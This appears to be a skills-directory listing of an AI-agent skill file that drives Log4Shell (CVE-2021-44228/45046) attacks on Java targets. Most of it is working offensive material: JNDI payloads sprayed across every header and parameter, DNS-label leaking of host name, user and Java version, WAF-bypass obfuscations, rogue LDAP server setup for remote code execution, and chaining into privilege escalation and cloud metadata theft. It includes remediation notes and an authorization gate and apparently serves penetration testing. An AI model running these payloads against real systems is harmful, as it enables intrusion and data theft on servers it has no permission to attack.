Log4Shell (CVE-2021-44228 / CVE-2021-45046) Log4j2 JNDI injection — inject JNDI lookups into any logged field (params, ALL headers, UA, X-Forwarded-For, auth), detect via OAST, and bypass WAFs with nested lookups. Tier 1 (RCE honors the authorization gate). Use on Java targets or when framework-rce routes here.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Log4shell?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-log4shell)
---
name: log4shell
description: Log4Shell (CVE-2021-44228 / CVE-2021-45046) Log4j2 JNDI injection — inject JNDI lookups into any logged field (params, ALL headers, UA, X-Forwarded-For, auth), detect via OAST, and bypass WAFs with nested lookups. Tier 1 (RCE honors the authorization gate). Use on Java targets or when framework-rce routes here.
---
# Log4Shell (CVE-2021-44228 / CVE-2021-45046)
Log4j2 evaluates `${jndi:...}` lookups in any string it logs, fetching and executing attacker code. The bug is in what gets *logged*, so the injection point is any field the app records — often headers the UI never shows.
## Trigger phrases
`log4shell, log4j, cve-2021-44228, cve-2021-45046, jndi, jndi:ldap, ${jndi}, java logging rce`
## Preconditions
Log4j2 **2.0-beta9 through 2.14.1** (44228); 2.15.0 incomplete fix → **CVE-2021-45046** (fixed 2.16.0; 2.17.0 fixes 45105 DoS). Target must log attacker-controlled input and reach a JNDI endpoint (egress for LDAP/DNS).
## Method
1. **OAST-first detection (safe):** fire a DNS/LDAP-callback payload into every logged field; a callback from the target proves it without delivering a payload. Use a unique subdomain per injection point to localize the sink.
```
${jndi:ldap://<id>.OAST/a} ${jndi:dns://<id>.OAST/a}
```
2. **Enumerate injection points (`${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md`)** — spray the payload across: query/body params, JSON keys, **all headers** (`User-Agent`, `Referer`, `X-Forwarded-For`, `X-Api-Version`, `Authorization` basic value, `Cookie`), username/login fields, filenames, and any value echoed into logs.
```
X-Api-Version: ${jndi:ldap://${hostName}.<id>.OAST/a}
```
`${hostName}`/`${env:USER}`/`${sys:java.version}` exfiltrate host info in the DNS label.
3. **Confirm exploit path (gated):** stand up `JNDIExploit`/`rogue-jndi`/`marshalsec` LDAP+HTTP on your box; a vulnerable client fetches the serialized gadget. Prove exec with a benign command (`nslookup token.OAST`), not a live shell on prod.
## Modern / rare techniques
- **WAF-bypass nesting / lookups** (`${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`): `${${::-j}${::-n}${::-d}${::-i}:...}`, `${jndi:${lower:l}${lower:d}a${lower:p}://...}`, `${${env:FOO:-j}ndi...}`, `${base64:...}`.
- **Beyond `ldap`:** `rmi`, `dns`, `nis`, `iiop`, `corba`, `nds`. DNS/LDAP callback still fires even where gadget fetch is blocked → use as the detection oracle.
- **45046** — non-default pattern layouts (`${ctx:...}`/Thread Context Map) remained exploitable on 2.15.0 → still test 2.15.0 targets.
- **Asynchronous callbacks:** the log may be processed by a downstream system minutes later — keep the OAST listener open.
## Escalation / chaining
JNDI RCE → `linux-privesc`/`windows-privesc`, secret read, `cloud-pentest` (IMDS). Info-leak-only (DNS callback, no gadget) still reportable as confirmed Log4Shell exposure.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). interactsh/Collaborator for OAST; `nuclei -tags log4j`; Burp "Log4Shell" scan + Repeater for header spraying. See `zazy-orchestrator`.
## Verification (background, before reporting)
A DNS/LDAP callback from the target IP is the confirmation; re-fire from a second vantage/encoding and reproduce. For blind targets rely on OAST before concluding negative. Report true positives only.
## Evidence
The payload, the injection point (which header/param), OAST callback log showing target source IP (and any exfiltrated `${hostName}`), confirmed Log4j version if obtainable. Remediation: upgrade Log4j2 ≥2.17.1, remove `JndiLookup` class, set `log4j2.formatMsgNoLookups=true` (partial), egress-filter JNDI.